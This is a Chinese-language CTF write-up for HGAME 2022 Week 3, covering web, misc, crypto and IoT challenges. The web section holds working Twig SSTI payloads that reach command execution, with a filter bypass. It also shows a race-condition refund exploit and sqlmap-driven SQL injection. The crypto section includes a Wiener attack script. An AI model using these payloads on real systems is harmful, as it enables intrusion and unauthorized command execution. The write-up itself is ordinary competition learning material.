HGAME 2022 Week3 writeup by ek1ng

WEB

SecurityCenter

题目考察了SSTI 服务器端模板注入漏洞

首先我们访问页面看看,结合题目描述我们猜测到,漏洞产生的点可能是这个Summ3r 安全中心,也就是对应题目Security Center,那么这个页面的接口redirect.php以Get请求接收url参数,所以注入的点就非常有可能在这个地方。除此之外我们还会发现,注释处隐藏了hint,我们访问一下installed.json文件,发现项目使用了框架sympony和twig,twig是个php的模板语言,那么这时候我们已知使用了twig这个模板语言并且已知twig的版本是3.x,然后我们进行SSTI即可。

先尝试一下看看是不是存在模板注入,按照twig的模板的格式,我们注入?url={{7*7}}发现返回49,也就是说7*7被服务端运算了而不是作为字符串处理的,说明存在模板注入

1
?url={{7*7}}

image-20220206164919425

接下来我们尝试一下twig的过滤器,我发现下面这4种都是可以成功模板注入的,我们先解释一下为什么要用过滤器,然后为什么用了过滤器可以执行一些危险命令,在 Twig 3.x 中,map 这个过滤器可以允许用户传递一个箭头函数,并将这个箭头函数应用于序列或映射的元素,其中根据map过滤后编译出来的结果中,twig_array_map的源码

1
2
3
4
5
6
7
8
9
function twig_array_map($array, $arrow)
{
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v, $k); // 直接将 $arrow 当做函数执行
}

return $r;
}

发现$arrow被当成函数执行,而twig_array_map的两个传入参数都是我们用户传入的,这个时候我们传入一个可传入两个参数的、能够命令执行的危险函数名即可实现命令执行。

接下来我们以map过滤器为例子尝试一下

1
2
3
4
{{["id"]|map("system")}}
{{["id", 0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0, 0]|reduce("system", "id")|join(",")}}

image-20220206173401198

那我们尝试打印一下flag看看

image-20220206173446924

我们发现触发了过滤,在了解linux下的一些文件命令后,我又尝试了tac /flag,这是可以倒序输出的,但是我们发现,这时候仍然是被过滤了,不过意外的发现过滤的函数表达式也被我们打印出来了

image-20220206173611602

那我们知道了过滤了flag字符串的前5位hgame后,我们只需要用cut -c6-打印flag文件从第6位开始至文件末尾,就可以得到flag啦

image-20220206173715847

Vidar shop demo

题目考察价格竞争漏洞

我们先先随便注册一个账号登录进去看看,会发现总共有下单接口,支付接口和退款接口,我们发现除了10000的flag以外还有20和40的徽章可以购买,那么我们使用intruder多线程发包,使余额判断错误从而下单额外的徽章,然后将徽章退款,我们的余额就会大于10000,然后下单flag,我们直接就能在商场看到flag啦

image-20220203210922964

image-20220203210900522

LoginMe

题目考察的是SQL注入中的布尔盲注

我们先以默认账号登录

image-20220206193144770

题目意思是要求以admin身份登录拿到flag,然后f12也是可以发现有个hint,打开看后发现sql语句中,用户名是用引号括号闭合的,那么这里也是会有sql注入点

用burpsuite抓个包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST http://2aaa006c94.login.summ3r.top:60067/login HTTP/1.1
Host: 2aaa006c94.login.summ3r.top:60067
Connection: keep-alive
Content-Length: 37
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
Origin: http://2aaa006c94.login.summ3r.top:60067
Referer: http://2aaa006c94.login.summ3r.top:60067/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _cc_id=38df55cc273a625ab8545d27d050d966; _ga_RPLKYTT36G=GS1.1.1643187303.2.1.1643187427.0; _ga=GA1.2.1251016364.1631076415; __gads=ID=fbcf8fffebd3f3a0-22c47ba239d000e5:T=1643269841:RT=1643269841:S=ALNI_Mahlyuy3rW4MynjwsfSVJP5442J7g; SESSION=MTY0NDQ2ODIxNXxEdi1CQkFFQ180SUFBUkFCRUFBQUl2LUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBWUFCSFJsYzNRPXyReprfeawkqo54Hb_e4TRT4khqbm175VqaGsCA2kz37A==

{"username":"test","password":"test"}

将抓到的包存为文件,使用sqlmap扫描,发现注入点

image-20220210160441834

无法直接爆出数据库名

image-20220210160524906

直接爆数据表名试一试

image-20220210160558737

用数据表名爆出字段名

image-20220210160627782

用数据表名和字段名爆出账号

image-20220210160657860

登录admin拿到flag

image-20220210160724115

MISC

卡中毒

题目考察的是内存取证和wannaRen、与佛论禅的解密

首先下载附件解压得到.raw,我们使用内存取证工具volatility进行分析,先用iamgeinfo看一下是什么操作系统的文件

uTools_1643960302438

再用Win7SP1x64为profile参数,查看进程和可疑文件,这时候我们发现,里面有个flag.txt.txt.wannaRen非常可疑,我们提取出来看一下

image-20220204181139953

通过搜索发现wannaRen是种勒索病毒,下载了个火绒解密工具,发现真的可以解密文件

image-20220204181212007

得到一串密文

image-20220204180732582

这是与佛伦禅这个密文,找个在线解密网站解密就能得到flag啦

image-20220204181324684

谁不喜欢猫猫呢

这题考察png隐写,arnold置换算法,piet语言

首先发现下载下来的png中夹杂很多点,点的分布非常规律,每11格就有一个不同的像素点,我们将图片大小变成11分之一,取11*11中心得像素点,得到一个215*215大小的图片

image-20220207220101782

图片仍然有很多点,我们同样的将图片变成5分之一,得到一个43*43大小的图片,我这里是没更新的附件,然后参数有误导致arnold解不出来,问了问出题人发现他给的附件有些问题,应该是a=9,b=39,st=1

image-20220207232803445

image-20220207221413532

image-20220207221454551

然后我们解一层arnold置换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import numpy as np
import cv2

def arnold_decode(image, shuffle_times, a, b):
# 1:创建新图像
decode_image = np.zeros(shape=image.shape)

# 2:计算N
h, w = image.shape[0], image.shape[1]
N = h # 或N=w

# 3:遍历像素坐标变换
for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
# 按照公式坐标变换
new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
new_y = ((-a) * ori_x + ori_y) % N
decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
return decode_image
I = cv2.imread('cattttttttttt.png')
cv2.imwrite("1.png", arnold_decode(I, 1, 9, 39))

发现这个图片,这个图片是用piet编程语言编写的,发现这其实是个加法运算

image-20220209005040793

发现是个加法计数器程序

image-20220209123303368

用binwalk从png中分离出list1和list2,猜测list1和list2需要相加

1
2
3
4
5
6
list1 = [776686, 749573, 6395443, 2522866, 279584, 587965, 4012670, 1645156, 2184634]
list2 = [6065523, 6419830, 1421837, 5103682, 5963053, 2842996, 1113825, 1594064, 4578755]
for i in range(9):
print(list1[i] + list2[i])


image-20220209124816591

然后将整数转成字符串就可以啦

1
2
3
4
5
6
7
from libnum import n2s

list = [6842209, 7169403, 7817280, 7626548, 6242637, 3430961, 5126495, 3239220, 6763389]
for i in range(9):
print(n2s(list[i]))


image-20220209124634879

CRYPTO

Block Cipher

题目考察的是分块加密算法,我们首先看一下加密算法是如何实现的,加密算法将flag先按8个为一个组拆分,并且以list的形式,字节流的编码方式存储在parts变量中,iv,key是随机生成的16位16进制数,也以字节流的编码方式编码,然后将parts[0]原文 xor iv xor key,得到parts[0]密文,将parts[1]原文 xor parts[0]密文 xor key 得到parts[1]的密文,将parts[2]原文 xor parts[1]密文 xor key 得到parts[2]的密文,以此类推,那么我们写解密算法的时候,首先parts[0]密文 xor iv xor key,得到parts[0]原文,然后parts[1]的密文 xor parts[0]的密文 xor key ,得到parts[1]的原文,以此类推,就可以成功解密flag啦,下面是解密的python代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import operator
from functools import reduce

iv = b'Up\x14\x98r\x14%\xb9'
key = b'\r\xe8\xb86\x9c33^'
parts = [b'0\xff\xcd\xc3\x8b\\T\x8b', b'RT\x1e\x89t&\x17\xbd', b'\x1a\xee\x8d\xd6\x9b>w\x8c', b'9CT\xb3^pF\xd0']


def pad(s):
padding_length = (8 - len(s)) % 8
return s + chr(padding_length) * padding_length

def xor(a, b):
assert len(a) == len(b)
return bytes(map(operator.xor, a, b))

def decrypt(iv, key, parts):
flag = []
for index, part in enumerate(parts):
flag.append(reduce(xor, [part, iv if index == 0 else parts[index - 1], key]))
flag = ''.join(list(map(lambda x: x.decode('utf-8'), flag)))
return flag

print(decrypt(iv, key, parts))

Multi Prime RSA

题目考察的是rsa加密算法中多素数加密的形式,那么我们需要根据给出的四个素数p,q,r,s来求解欧拉函数,然后再根据欧拉函数解出密钥d,然后用密钥d解出明文就可以得到flag啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import gmpy2
from libnum import n2s

def make_key(p, q, r, s, e):
n = p * q
phi = (p ** (2 - 1) * (p - 1)) * (q ** (3 - 1) * (q - 1)) * (r ** (5 - 1) * (r - 1)) * (s ** (7 - 1) * (s - 1))
d = gmpy2.invert(e, phi)
return d

p = 61789932148719477384027458333380568978056286136137829092952317307711908353477
q = 91207969353355763685633284378833506319794714507027332929290701748727534193861
r = 105471299607375388622347272479207944509670502835651250945203397530010861809367
s = 83153238748903772448138307505579799277162652151244477391465130504267171881437
n = 1039344372165087100001063920598151812324151064684841845250974758525265148567706103784958424873181721352440209284812493753972556519482026327282644619091466886523804841248277210353173383407944598453848113815866908595335619458549486958764490103808475329598085842184963065068499489886467911087295087163762599284622055185456905774507245781667293199205317692029829495961487347944813874415423771980660778986211145841712412631156369129146470119135136378158203459576596246169191419488560832734046076107673091995860021863239882608638458149930255944184863801278386551031980146460231515747754411678651752698881001464973981424240781413084941947261875289725538959720572496329348499870580057997540844488309111059240745081048324762866572948371222839278718034435739827677190025500802453626872356208612718417249649474571197167076916403582394186357812640566250930361276229969553128128312736245440129556020108188835966131425956431796417720436474093381770796431629523054378258497546013222494974549262140415585158985940966415459478150722832119691308697510189026447359189994055885090735411738332296254011208547676914004864732327863884217733456287369771087094514708468685641820375220835485053482570852619363091173324203334503461823983610886849930944250553928855506012684504211525542998575275626784129736345142772399109273619522445919
e = 65537
c = 844677395496466411520394190869787261209960246734415406217975986418865760680024542119231873259131861208878522030009923057991526761346423130242121884493257732067700857897379859545356609151834223804262174935191718271211809221730601602827122249238086030580971376104724987801049500689134122609834321586609223761140538079460830213824674361601046367637227094018381901291488659642720549583856812747877519600804325570421770575999289389175021646347371879234023647657507178519047236746071420327155188213839293382288787853777540226192644761028822256165706787395891134765908229036044468473519166141610604791485071702808854944672418124203289328124793348198048601338476086482318248264508789781967910205393740835345086784345145351367491197717933757414967811594913692588314161669333147733048171044386546892346475181197482702164468542430187885074163177843285948999943328049159021873821254267471067523609151007885131921896462161216356454116929796355815756642621369974260365378070336290542971599886325232821981080341858950609157813769416455337935096696635623426418166316737131174435618543058086342714723330814586496030805366321181723292731710369013923285787724941830672247377301048663929453294620044701627159066468762709113137517559435822623284148112827473010030736329596829357275518641576798298066541516764673029908084962144713
plaintext = (gmpy2.powmod(c, make_key(p, q, r, s, e), n))
print(n2s(int(plaintext)), end='')

RSA attack 3

题目考察的是rsa加密算法的低解密指数漏洞,给出了n,e,c,我们发现e特别大,这样会导致d特别小从而产生漏洞可以破解d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import gmpy2
from libnum import n2s

def continuedFra(x, y):
cF = []
while y:
cF += [x // y]
x, y = y, x % y
return cF


def Simplify(ctnf):
numerator = 0
denominator = 1
for x in ctnf[::-1]:
numerator, denominator = denominator, x * denominator + numerator
return (numerator, denominator)


def calculateFrac(x, y):
cF = continuedFra(x, y)
cF = list(map(Simplify, (cF[0:i] for i in range(1, len(cF)))))
return cF


def solve_pq(a, b, c):
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) / (2 * a), (-b - par) / (2 * a)


def wienerAttack(e, n):
for (d, k) in calculateFrac(e, n):
print(e)
print(d)
print(k)
if k == 0:
continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) / k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return abs(int(p)), abs(int(q))
print('[!]not find!')

n = 507419170088344932990702256911694788408493968749527614421614568612944144764889717229444020813658893362983714454159980719026366361318789415279417172858536381938870379267670180128174798344744371725609827872339512302232610590888649555446972990419313445687852636305518801236132032618350847705234643521557851434711389664130274468354405273873218264222293858509477860634889001898462547712800153111774564939279190835857445378261920532206352364005840238252284065587291779196975457288580812526597185332036342330147250312262816994625317482869849388424397437470502449815132000588425028055964432298176942124697105509057090546600330760364385753313923003549670107599757996810939165300581847068233156887269181096893089415302163770884312255957584660964506028002922164767453287973102961910781312351686488047510932997937700597992705557881172640175117476017503918294534205898046483981707558521558992058512940087192655700351675718815723840568640509355338482631416345193176708501897458649841539192993142790402734898948352382350766125000186026261167277014748183012844440603384989647664190074853086693408529737767147592432979469020671772152652865219092597717869942730499507426269170189547020660681363276871874469322437194397171763927907099922324375991793759
e = 77310199867448677782081572109343472783781135641712597643597122591443011229091533516758925238949755491395489408922437493670252550920826641442189683907973926843505436730014899918587477913032286153545247063493885982941194996251799882984145155733050069564485120660716110828110738784644223519725613280140006783618393995138076030616463398284819550627612102010214315235269945251741407899692274978642663650687157736417831290404871181902463904311095448368498432147292938825418930527188720696497596867575843476810225152659244529481480993843168383016583068747733118703000287423374094051895724494193455175131120243097065270804457787026492578916584536863548445813916819417857064037664101684455000184987531252344582899589746272173970083733130106407810619258077266603898529285634495710846838011858287024329514491058790557305041389614650730267774482954666726949886313386881066593946789460028399523245777171320319444673551268379126203862576627540177888290265714418064334752499940587750374552330008143708562065940245637685833371348603338834447212248648869514585047871442060412622164276894766238383894693759347590977926306581080390685360615407766600573527565016914830132066428454738135380178959590692145577418811677639050929791996313180297924833690095
c = 165251729917394529793163344300848992394021337429474789711805041655116845722480301677817165053253655027459227404782607373107477419083333844871948673626672704233977397989843349633720167495862807995411682262559392496273163155214888276398332204954185252030616473235814999366132031184631541209554169938146205402400412307638567132128690379079483633171535375278689326189057930259534983374296873110199636558962144635514392282351103900375366360933088605794654279480277782805401749872568584335215630740265944133347038070337891035560658434763924576508969938866566235926587685108811154229747423410476421860059769485356567301897413767088823807510568561254627099309752215808220067495561412081320541540679503218232020279947159175547517811501280846596226165148013762293861131544331444165070186672186027410082671602892508739473724143698396105392623164025712124329254933353509384748403154342322725203183050328143736631333990445537119855865348221215277608372952942702104088940952142851523651639574409075484106857403651453121036577767672430612728022444370874223001778580387635197325043524719396707713385963432915855227152371800527536048555551237729690663544828830627192867570345853910196397851763591543484023134551876591248557980182981967782409054277224
p, q = wienerAttack(e, n)
print('[+]Found!')
print('[-]p =', p)
print('[-]q =', q)
d = gmpy2.invert(e, (p-1)*(q-1))
print(d)
plaintext=pow(c, d, n)
print(n2s(int(plaintext)))

IOT

饭卡的UNO2.0

我一开始以为是固件逆向,但是拖入IDA尝试后发现不能反编译,然后我就尝试了一些其他的反编译网站,能够得到这样的结果,感觉也没啥用好像

image-20220208123446972

然后我尝试运行了一下这个固件,利用simavr工具中的run_avr子工具,指定机器型号为atmega328p,频率为16000000,成功运行程序,然后发现这是循环打印flag的一段程序,就直接拿到flag啦

image-20220208123507319

总结

这周除了PWN和RE都AK了,但是分数榜上还是上不去,前面的兄弟都好全能